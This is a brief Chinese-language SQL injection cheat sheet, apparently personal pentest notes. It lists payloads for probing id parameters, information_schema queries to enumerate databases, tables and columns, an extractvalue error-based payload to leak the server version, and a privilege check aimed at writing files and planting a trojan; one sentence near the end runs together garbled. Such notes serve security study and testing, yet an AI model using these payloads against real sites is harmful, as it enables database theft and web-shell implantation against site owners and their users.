SQL Inject
SQL Inject
Ivoripuion有关SQL注入
查看开发者使用哪种查询
- ?id=1’—+
- ?id=1—+
- ?id=1’)—+
- ?id=1”)—+
- ?id=1”))-++
爆库,表,字段
猜数据库
1 | select schema_name from information_schema.schemata |
猜某库的数据表
1 | select table_name from information_schema.tables where table_schema=’xxxxx’ |
猜某表的所有列
1 | Select column_name from information_schema.columns where table_name=’xxxxx’ |
获取某列的内容
1 | Select *** from **** |
基于报错的盲注
基于xpath语法错误
1 | ?id=extractvalue(1,concat(0x7e,(select @@version),0x7e)) --+ |
导入导出(传马)
查看是否有读写权限
1
2and (select count(*) from mysql.user)>0--+
如果结果返回正常,说明具有读写权限,否则无欲读取文件必须在服务器上,加个木马啥的
- 必须指定文件完整的路径
- 欲读取文件必须小于 max_allowed_packet